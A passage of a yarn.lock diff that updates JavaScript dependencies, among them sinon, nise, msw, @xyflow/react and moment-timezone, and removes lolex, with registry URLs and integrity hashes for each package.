"https://registry.yarnpkg.com/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz#412b90e84870285f2ff8a846c6eb60344f12a41c" integrity sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA== @@ -12586,12 +12677,14 @@ resolved "https://registry.yarnpkg.com/@types/shimmer/-/shimmer-1.2.0.tgz#9b706af96fa06416828842397a70dfbbf1c14ded" integrity sha512-UE7oxhQLLd9gub6JKIAhDq06T0F6FnztwMNRvYgjeQSBeMc1ZG/tA47EwfduvkuQS8apbkM/lpLpWsaCeYsXVg== -"@types/sinon@^7.0.13": - version "7.0.13" - resolved "https://registry.yarnpkg.com/@types/sinon/-/sinon-7.0.13.tgz#ca039c23a9e27ebea53e0901ef928ea2a1a6d313" - integrity sha512-d7c/C/+H/knZ3L8/cxhicHUiTDxdgap0b/aNJfsmLwFu/iOP17mdgbQsbHA3SJmrzsjD0l3UEE5SN4xxuz5ung== +"@types/sinon@^17.0.3": + version "17.0.3" + resolved "https://registry.yarnpkg.com/@types/sinon/-/sinon-17.0.3.tgz#9aa7e62f0a323b9ead177ed23a36ea757141a5fa" + integrity sha512-j3uovdn8ewky9kRBG19bOwaZbexJu/XjtkHyjvUgt4xfPFz18dcORIMqnYh66Fx3Powhcr85NT5+er3+oViapw== + dependencies: + "@types/sinonjs__fake-timers" "*" -"@types/sinonjs__fake-timers@8.1.1": +"@types/sinonjs__fake-timers@*", "@types/sinonjs__fake-timers@8.1.1": version "8.1.1" resolved "https://registry.yarnpkg.com/@types/sinonjs__fake-timers/-/sinonjs__fake-timers-8.1.1.tgz#b49c2c70150141a15e0fa7e79cf1f92a72934ce3" integrity sha512-0kSuKjAS0TrGLJ0M/+8MaFkGsQhZpB6pxOmvS3K8FYI72K//YmdfoW9X2qPsAKh1mkwxGD5zib9s1FIFed6E8g== @@ -13301,25 +13394,27 @@ resolved "https://registry.yarnpkg.com/@xtuc/long/-/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d" integrity sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ== -"@xyflow/react@^12.4.1": - version "12.4.2" - resolved "https://registry.yarnpkg.com/@xyflow/react/-/react-12.4.2.tgz#669ab18923d93a8d8fb526241a2affc0d50abf9d" - integrity sha512-AFJKVc/fCPtgSOnRst3xdYJwiEcUN9lDY7EO/YiRvFHYCJGgfzg+jpvZjkTOnBLGyrMJre9378pRxAc3fsR06A== +"@xyflow/react@^12.8.1": + version "12.8.1" + resolved "https://registry.yarnpkg.com/@xyflow/react/-/react-12.8.1.tgz#bf16e34bd9592fa4200d002d408329ee97aa0714" + integrity sha512-t5Rame4Gc/540VcOZd28yFe9Xd8lyjKUX+VTiyb1x4ykNXZH5zyDmsu+lj9je2O/jGBVb0pj1Vjcxrxyn+Xk2g== dependencies: - "@xyflow/system" "0.0.50" + "@xyflow/system" "0.0.65" classcat "^5.0.3" zustand "^4.4.0" -"@xyflow/system@0.0.50": - version "0.0.50" - resolved "https://registry.yarnpkg.com/@xyflow/system/-/system-0.0.50.tgz#8517cb46e1523cc6abe620f3ad18f5a94315d7e3" - integrity sha512-HVUZd4LlY88XAaldFh2nwVxDOcdIBxGpQ5txzwfJPf+CAjj2BfYug1fHs2p4yS7YO8H6A3EFJQovBE8YuHkAdg== +"@xyflow/system@0.0.65": + version "0.0.65" + resolved "https://registry.yarnpkg.com/@xyflow/system/-/system-0.0.65.tgz#1824cb81369e389c34d02297bd1d871f0932004b" + integrity sha512-AliQPQeurQMoNlOdySnRoDQl9yDSA/1Lqi47Eo0m98lHcfrTdD9jK75H0tiGj+0qRC10SKNUXyMkT0KL0opg4g== dependencies: "@types/d3-drag" "^3.0.7" + "@types/d3-interpolate" "^3.0.4" "@types/d3-selection" "^3.0.10" "@types/d3-transition" "^3.0.8" "@types/d3-zoom" "^3.0.8" d3-drag "^3.0.0" + d3-interpolate "^3.0.1" d3-selection "^3.0.0" d3-zoom "^3.0.0" @@ -13437,10 +13532,10 @@ acorn@^8.0.4, acorn@^8.1.0, acorn@^8.11.0, acorn@^8.14.0, acorn@^8.4.1, acorn@^8 resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.14.0.tgz#063e2c70cac5fb4f6467f0b11152e04c682795b0" integrity sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA== -adm-zip@^0.5.9: - version "0.5.9" - resolved "https://registry.yarnpkg.com/adm-zip/-/adm-zip-0.5.9.tgz#b33691028333821c0cf95c31374c5462f2905a83" - integrity sha512-s+3fXLkeeLjZ2kLjCBwQufpI5fuN+kIGBxu6530nVQZGVol0d7Y/M88/xw9HGGUcJjKf8LutN3VPRUBq6N7Ajg== +adm-zip@^0.5.16: + version "0.5.16" + resolved "https://registry.yarnpkg.com/adm-zip/-/adm-zip-0.5.16.tgz#0b5e4c779f07dedea5805cdccb1147071d94a909" + integrity sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ== after-all-results@^2.0.0: version "2.0.0" @@ -13804,11 +13899,6 @@ array-flatten@1.1.1: resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI= -array-from@^2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/array-from/-/array-from-2.1.1.tgz#cfe9d8c26628b9dc5aecc62a9f5d8f1f352c1195" - integrity sha1-z+nYwmYoudxa7MYqn12PHzUsEZU= - array-includes@^3.1.6: version "3.1.6" resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.6.tgz#9e9e720e194f198266ba9e18c29e6a9b0e4b225f" @@ -17291,6 +17381,11 @@ detect-indent@^7.0.1: resolved "https://registry.yarnpkg.com/detect-indent/-/detect-indent-7.0.1.tgz#cbb060a12842b9c4d333f1cac4aa4da1bb66bc25" integrity sha512-Mc7QhQ8s+cLrnUfU/Ji94vG/r8M26m8f++vyres4ZoojaRDpZ1eSIh/EpzLNwlWuvzSZ3UbDFspjFvTDXe6e/g== +detect-libc@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-1.0.3.tgz#fa137c4bd698edf55cd5cd02ac559f91a4c4ba9b" + integrity sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg== + detect-libc@^2.0.0, detect-libc@^2.0.1, detect-libc@^2.0.2: version "2.0.2" resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-2.0.2.tgz#8ccf2ba9315350e1241b88d0ac3b0e1fbd99605d" @@ -17433,11 +17528,6 @@ diff-sequences@^29.6.3: resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-29.6.3.tgz#4deaf894d11407c51efc8418012f9e70b84ea921" integrity sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q== -diff@^3.5.0: - version "3.5.0" - resolved "https://registry.yarnpkg.com/diff/-/diff-3.5.0.tgz#800c0dd1e0a8bfbc95835c202ad220fe317e5a12" - integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA== - diff@^4.0.1: version "4.0.2" resolved "https://registry.yarnpkg.com/diff/-/diff-4.0.2.tgz#60f3aecb89d5fae520c11aa19efc2bb982aade7d" @@ -17448,6 +17538,11 @@ diff@^5.0.0, diff@^5.1.0, diff@^5.2.0: resolved "https://registry.yarnpkg.com/diff/-/diff-5.2.0.tgz#26ded047cd1179b78b9537d5ef725503ce1ae531" integrity sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A== +diff@^7.0.0: + version "7.0.0" + resolved "https://registry.yarnpkg.com/diff/-/diff-7.0.0.tgz#3fb34d387cd76d803f6eebea67b921dab0182a9a" + integrity sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw== + diff@^8.0.2: version "8.0.2" resolved "https://registry.yarnpkg.com/diff/-/diff-8.0.2.tgz#712156a6dd288e66ebb986864e190c2fc9eddfae" @@ -17616,12 +17711,12 @@ dot-prop@^5.2.0: dependencies: is-obj "^2.0.0" -dotenv@16.4.5: - version "16.4.5" - resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-16.4.5.tgz#cdd3b3b604cb327e286b4762e13502f717cb099f" - integrity sha512-ZmdL2rui+eB2YwhsWzjInR8LldtZHGDoQ1ugH85ppHKwpUHL7j7rN0Ti9NCnGiQbhaZ11FpR+7ao1dNsmduNUg== +dotenv@16.4.7: + version "16.4.7" + resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-16.4.7.tgz#0e20c5b82950140aa99be360a8a5f52335f53c26" + integrity sha512-47qPchRCykZC03FhkYAhrvwU4xDBFIj1QPqaarj6mdM/hgUzfPHcpkHJOn3mJAufFeeAxAzeGsr5X0M4k6fLZQ== -dotenv@^16.0.2, dotenv@^16.4.5, dotenv@^16.4.7, dotenv@^16.5.0: +dotenv@^16.0.2, dotenv@^16.4.5, dotenv@^16.5.0: version "16.5.0" resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-16.5.0.tgz#092b49f25f808f020050051d1ff258e404c78692" integrity sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg== @@ -20536,10 +20631,10 @@ hdr-histogram-js@^2.0.1: base64-js "^1.2.0" pako "^1.0.3" -hdr-histogram-js@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/hdr-histogram-js/-/hdr-histogram-js-3.0.0.tgz#8e2d9a68e3313147804c47d85a9c22a93f85e24b" - integrity sha512-/EpvQI2/Z98mNFYEnlqJ8Ogful8OpArLG/6Tf2bPnkutBVLIeMVNHjk1ZDfshF2BUweipzbk+dB1hgSB7SIakw== +hdr-histogram-js@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/hdr-histogram-js/-/hdr-histogram-js-3.0.1.tgz#b281e90d6ca80ee656bc378dafa39d7239b90855" + integrity sha512-l3GSdZL1Jr1C0kyb461tUjEdrRPZr8Qry7jByltf5JGrA0xvqOSrxRBfcrJqqV/AMEtqqhHhC6w8HW0gn76tRQ== dependencies: "@assemblyscript/loader" "^0.19.21" base64-js "^1.2.0" @@ -22815,10 +22910,10 @@ just-curry-it@^3.1.0: resolved "https://registry.yarnpkg.com/just-curry-it/-/just-curry-it-3.1.0.tgz#ab59daed308a58b847ada166edd0a2d40766fbc5" integrity sha512-mjzgSOFzlrurlURaHVjnQodyPNvrHrf1TbQP2XU9NSqBtHQPuHZ+Eb6TAJP7ASeJN9h9K0KXoRTs8u6ouHBKvg== -just-extend@^4.0.2: - version "4.0.2" - resolved "https://registry.yarnpkg.com/just-extend/-/just-extend-4.0.2.tgz#f3f47f7dfca0f989c55410a7ebc8854b07108afc" - integrity sha512-FrLwOgm+iXrPV+5zDU6Jqu4gCRXbWEQg2O3SKONsWE4w7AXFRkryS53bpWdaL9cNol+AmR3AEYz6kn+o0fCPnw== +just-extend@^6.2.0: + version "6.2.0" + resolved "https://registry.yarnpkg.com/just-extend/-/just-extend-6.2.0.tgz#b816abfb3d67ee860482e7401564672558163947" + integrity sha512-cYofQu2Xpom82S6qD778jBDpwvvy39s1l/hrYij2u9AMdQcGRpaBu6kY4mVhuno5kJVi1DAz4aiphA2WI1/OAw== just-reduce-object@^1.0.3: version "1.1.0" @@ -23466,18 +23561,6 @@ loglevel@^1.6.0: resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.9.1.tgz#d63976ac9bcd03c7c873116d41c2a85bafff1be7" integrity sha512-hP3I3kCrDIMuRwAwHltphhDM1r8i55H33GgqjXbrisuJhF4kRhW1dNuxsRklp4bXl8DSdLaNLuiL4A/LWRfxvg== -lolex@^4.2.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/lolex/-/lolex-4.2.0.tgz#ddbd7f6213ca1ea5826901ab1222b65d714b3cd7" - integrity sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg== - -lolex@^5.0.1: - version "5.1.2" - resolved "https://registry.yarnpkg.com/lolex/-/lolex-5.1.2.tgz#953694d098ce7c07bc5ed6d0e42bc6c0c6d5a367" - integrity sha512-h4hmjAvHTmd+25JSwrtTIuwbKdwg5NzZVRMLn9saij4SZaepCrTCxPr35H/3bjwfMJtN+t3CX8672UIkglz28A== - dependencies: - "@sinonjs/commons" "^1.7.0" - long@^4.0.0: version "4.0.0" resolved "https://registry.yarnpkg.com/long/-/long-4.0.0.tgz#9a7b71cfb7d361a194ea555241c92f7468d5bf28" @@ -24471,10 +24554,10 @@ moment-duration-format@^2.3.2: resolved "https://registry.yarnpkg.com/moment-duration-format/-/moment-duration-format-2.3.2.tgz#5fa2b19b941b8d277122ff3f87a12895ec0d6212" integrity sha512-cBMXjSW+fjOb4tyaVHuaVE/A5TqkukDWiOfxxAjY+PEqmmBQlLwn+8OzwPiG3brouXKY5Un4pBjAeB6UToXHaQ== -moment-timezone@^0.5.47: - version "0.5.47" - resolved "https://registry.yarnpkg.com/moment-timezone/-/moment-timezone-0.5.47.tgz#d4d1a21b78372d914d6d69ae285454732a429749" - integrity sha512-UbNt/JAWS0m/NJOebR0QMRHBk0hu03r5dx9GK8Cs0AS3I81yDcOc9k+DytPItgVvBP7J6Mf6U2n3BPAacAV9oA== +moment-timezone@^0.6.0: + version "0.6.0" + resolved "https://registry.yarnpkg.com/moment-timezone/-/moment-timezone-0.6.0.tgz#c5a6519171f31a64739ea75d33f5c136c08ff608" + integrity sha512-ldA5lRNm3iJCWZcBCab4pnNL3HSZYXVb/3TYr75/1WCTWYuTqYUb5f/S384pncYjJ88lbO8Z4uPDvmoluHJc8Q== dependencies: moment "^2.29.4" @@ -24614,16 +24697,16 @@ msgpackr@^1.11.2: optionalDependencies: msgpackr-extract "^3.0.2" -msw@~2.9.0: - version "2.9.0" - resolved "https://registry.yarnpkg.com/msw/-/msw-2.9.0.tgz#7ff036e9ea41ef39801c72641ac400c5103a3ac5" - integrity sha512-fNyrJ11YNbe2zl64EwtxM5OFkInFPAw5vipOljMsf9lY2ep9B2BslqQrS8EC9pB9961K61FqTUi0wsdqk6hwow== +msw@~2.10.2: + version "2.10.2" + resolved "https://registry.yarnpkg.com/msw/-/msw-2.10.2.tgz#e7a56ed0b6865b00a30b4c4a5b59e5388fd48315" + integrity sha512-RCKM6IZseZQCWcSWlutdf590M8nVfRHG1ImwzOtwz8IYxgT4zhUO0rfTcTvDGiaFE0Rhcc+h43lcF3Jc9gFtwQ== dependencies: "@bundled-es-modules/cookie" "^2.0.1" "@bundled-es-modules/statuses" "^1.0.1" "@bundled-es-modules/tough-cookie" "^0.1.6" "@inquirer/confirm" "^5.0.0" - "@mswjs/interceptors" "^0.38.7" + "@mswjs/interceptors" "^0.39.1" "@open-draft/deferred-promise" "^2.2.0" "@open-draft/until" "^2.1.0" "@types/cookie" "^0.6.0" @@ -24819,16 +24902,16 @@ nice-napi@^1.0.2: node-addon-api "^3.0.0" node-gyp-build "^4.2.2" -nise@^1.5.2: - version "1.5.3" - resolved "https://registry.yarnpkg.com/nise/-/nise-1.5.3.tgz#9d2cfe37d44f57317766c6e9408a359c5d3ac1f7" - integrity sha512-Ymbac/94xeIrMf59REBPOv0thr+CJVFMhrlAkW/gjCIE58BGQdCj0x7KRCb3yz+Ga2Rz3E9XXSvUyyxqqhjQAQ== +nise@^6.1.1: + version "6.1.1" + resolved "https://registry.yarnpkg.com/nise/-/nise-6.1.1.tgz#78ea93cc49be122e44cb7c8fdf597b0e8778b64a" + integrity sha512-aMSAzLVY7LyeM60gvBS423nBmIPP+Wy7St7hsb+8/fc1HmeoHJfLO8CKse4u3BtOZvQLJghYPI2i/1WZrEj5/g== dependencies: - "@sinonjs/formatio" "^3.2.1" - "@sinonjs/text-encoding" "^0.7.1" - just-extend "^4.0.2" - lolex "^5.0.1" - path-to-regexp "^1.7.0" + "@sinonjs/commons" "^3.0.1" + "@sinonjs/fake-timers" "^13.0.1" + "@sinonjs/text-encoding" "^0.7.3" + just-extend "^6.2.0" + path-to-regexp "^8.1.0" no-case@^3.0.4: version "3.0.4" @@ -24860,7 +24943,7 @@ node-abort-controller@^3.0.1: resolved "https://registry.yarnpkg.com/node-abort-controller/-/node-abort-controller-3.1.1.tgz#a94377e964a9a37ac3976d848cb5c765833b8548" integrity sha512-AGK2yQKIjRuqnc6VkX2Xj5d+QW8xZ87pa1UK6yA6ouUyuxfHuMP6umE5QK7UmTeOAymo+Zx1Fxiuw9rVx8taHQ== -node-addon-api@^3.0.0, node-addon-api@^3.2.1: +node-addon-api@^3.0.0: version "3.2.1" resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-3.2.1.tgz#81325e0a2117789c0128dab65e7e38f07ceba161" integrity sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A== @@ -24870,6 +24953,11 @@ node-addon-api@^6.1.0: resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-6.1.0.tgz#ac8470034e58e67d0c6f1204a18ae6995d9c0d76" integrity sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA== +node-addon-api@^7.0.0: + version "7.1.1" + resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-7.1.1.tgz#1aba6693b0f255258a049d621329329322aad558" + integrity sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ== + node-diff3@^3.1.2: version "3.1.2" resolved "https://registry.yarnpkg.com/node-diff3/-/node-diff3-3.1.2.tgz#49df8d821dc9cbab87bfd6182171d90169613a97" @@ -24927,7 +25015,7 @@ node-gyp-build-optional-packages@5.2.2: dependencies: detect-libc "^2.0.1" -node-gyp-build@^4.2.2, node-gyp-build@^4.3.0: +node-gyp-build@^4.2.2: version "4.5.0" resolved "https://registry.yarnpkg.com/node-gyp-build/-/node-gyp-build-4.5.0.tgz#7a64eefa0b21112f89f58379da128ac177f20e40" integrity sha512-2iGbaQBV+ITgCz76ZEjmhUKAKVf7xfY1sRl4UiKQspfZMH2h06SyhNsnSVy50cwkFQDGLyif6m/6uFXHkOZ6rg== @@ -25739,6 +25827,11 @@ p-timeout@^3.2.0: dependencies: p-finally "^1.0.0" +p-timeout@^6.1.4: + version "6.1.4" + resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-6.1.4.tgz#418e1f4dd833fa96a2e3f532547dd2abdb08dbc2" + integrity sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg== + p-try@^2.0.0: version "2.2.0" resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6" @@ -29210,18 +29303,17 @@ simple-websocket@^9.0.0: readable-stream "^3.6.0" ws "^7.4.2" -sinon@^7.4.2: - version "7.5.0" - resolved "https://registry.yarnpkg.com/sinon/-/sinon-7.5.0.tgz#e9488ea466070ea908fd44a3d6478fd4923c67ec" - integrity sha512-AoD0oJWerp0/rY9czP/D6hDTTUYGpObhZjMpd7Cl/A6+j0xBE+ayL/ldfggkBXUs0IkvIiM1ljM8+WkOc5k78Q== - dependencies: - "@sinonjs/commons" "^1.4.0" - "@sinonjs/formatio" "^3.2.1" - "@sinonjs/samsam" "^3.3.3" - diff "^3.5.0" - lolex "^4.2.0" - nise "^1.5.2" - supports-color "^5.5.0" +sinon@^19.0.2: + version "19.0.2" + resolved "https://registry.yarnpkg.com/sinon/-/sinon-19.0.2.tgz#944cf771d22236aa84fc1ab70ce5bffc3a215dad" + integrity sha512-euuToqM+PjO4UgXeLETsfQiuoyPXlqFezr6YZDFwHR3t4qaX0fZUe1MfPMznTL5f8BWrVS89KduLdMUsxFCO6g== + dependencies: + "@sinonjs/commons" "^3.0.1" + "@sinonjs/fake-timers" "^13.0.2" + "@sinonjs/samsam" "^8.0.1" + diff "^7.0.0" + nise "^6.1.1" + supports-color "^7.2.0" sirv@^2.0.3: version "2.0.4" @@ -29868,7 +29960,7 @@ string-replace-loader@^3.1.0: loader-utils "^2.0.0" schema-utils "^3.0.0" -"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3: +"string-width-cjs@npm:string-width@^4.2.0": version "4.2.3" resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010" integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== @@ -29886,6 +29978,15 @@ string-width@^1.0.1: is-fullwidth-code-point "^1.0.0" strip-ansi "^3.0.0" +string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3: + version "4.2.3" + resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010" + integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== + dependencies: + emoji-regex "^8.0.0" + is-fullwidth-code-point "^3.0.0" + strip-ansi "^6.0.1" + string-width@^5.0.1, string-width@^5.1.2: version "5.1.2" resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794" @@ -29978,7 +30079,7 @@ stringify-object@^3.2.1: is-obj "^1.0.1" is-regexp "^1.0.0" -"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1: +"strip-ansi-cjs@npm:strip-ansi@^6.0.1": version "6.0.1" resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9" integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== @@ -29992,6 +30093,13 @@ strip-ansi@^3.0.0, strip-ansi@^3.0.1: dependencies: ansi-regex "^2.0.0" +strip-ansi@^6.0.0, strip-ansi@^6.0.1: + version "6.0.1" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9" + integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== + dependencies: + ansi-regex "^5.0.1" + strip-ansi@^7.0.1, strip-ansi@^7.1.0: version "7.1.0" resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.1.0.tgz#d5b6568ca689d8561370b0707685d22434faff45" @@ -30225,7 +30333,7 @@ supports-color@^5.3.0, supports-color@^5.5.0: dependencies: has-flag "^3.0.0" -supports-color@^7.0.0, supports-color@^7.1.0: +supports-color@^7.0.0, supports-color@^7.1.0, supports-color@^7.2.0: version "7.2.0" resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da" integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== @@ -31093,11 +31201,16 @@ type-check@^0.4.0, type-check@~0.4.0: dependencies: prelude-ls "^1.2.1" -type-detect@4.0.8, type-detect@^4.0.8: +type-detect@4.0.8: version "4.0.8" resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c" integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g== +type-detect@^4.0.8, type-detect@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.1.0.tgz#deb2453e8f08dcae7ae98c626b13dddb0155906c" + integrity sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw== + type-fest@^0.18.0: version "0.18.1" resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.18.1.tgz#db4bc151a4a2cf4eebf9add5db75508db6cc841f" @@ -32778,7 +32891,7 @@ workerpool@^6.5.1: resolved "https://registry.yarnpkg.com/workerpool/-/workerpool-6.5.1.tgz#060f73b39d0caf97c6db64da004cd01b4c099544" integrity sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA== -"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0: +"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0": version "7.0.0" resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43" integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== @@ -32804,6 +32917,15 @@ wrap-ansi@^6.2.0: string-width "^4.1.0" strip-ansi "^6.0.0" +wrap-ansi@^7.0.0: + version "7.0.0" + resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43" + integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== + dependencies: + ansi-styles "^4.0.0" + string-width "^4.1.0" + strip-ansi "^6.0.0" + wrap-ansi@^8.1.0: version "8.1.0" resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214" @@ -32914,7 +33036,7 @@ xpath@^0.0.33: resolved "https://registry.yarnpkg.com/xpath/-/xpath-0.0.33.tgz#5136b6094227c5df92002e7c3a13516a5074eb07" integrity sha512-NNXnzrkDrAzalLhIUc01jO2mOzXGXh1JwPgkihcLLzw98c0WgYDmmjSh1Kl3wzaxSVWMuA+fe0WTWOBDWCBmNA== -"xstate5@npm:xstate@^5.19.2", xstate@^5.19.2: +"xstate5@npm:xstate@^5.19.2": version "5.19.2" resolved "https://registry.yarnpkg.com/xstate/-/xstate-5.19.2.tgz#db3f1ee614bbb6a49ad3f0c96ddbf98562d456ba" integrity sha512-B8fL2aP0ogn5aviAXFzI5oZseAMqN00fg/TeDa3ZtatyDcViYLIfuQl4y8qmHCiKZgGEzmnTyNtNQL9oeJE2gw== @@ -32924,6 +33046,11 @@ xstate@^4.38.3: resolved "https://registry.yarnpkg.com/xstate/-/xstate-4.38.3.tgz#4e15e7ad3aa0ca1eea2010548a5379966d8f1075" integrity sha512-SH7nAaaPQx57dx6qvfcIgqKRXIh4L0A1iYEqim4s1u7c9VoCgzZc+63FY90AKU4ZzOC2cfJzTnpO4zK7fCUzzw== +xstate@^5.19.2: + version "5.19.2" + resolved "https://registry.yarnpkg.com/xstate/-/xstate-5.19.2.tgz#db3f1ee614bbb6a49ad3f0c96ddbf98562d456ba" + integrity sha512-B8fL2aP0ogn5aviAXFzI5oZseAMqN00fg/TeDa3ZtatyDcViYLIfuQl4y8qmHCiKZgGEzmnTyNtNQL9oeJE2gw== + "xtend@>=4.0.0 <4.1.0-0", xtend@^4.0.0, xtend@^4.0.1, xtend@^4.0.2, xtend@~4.0.1: version "4.0.2" resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"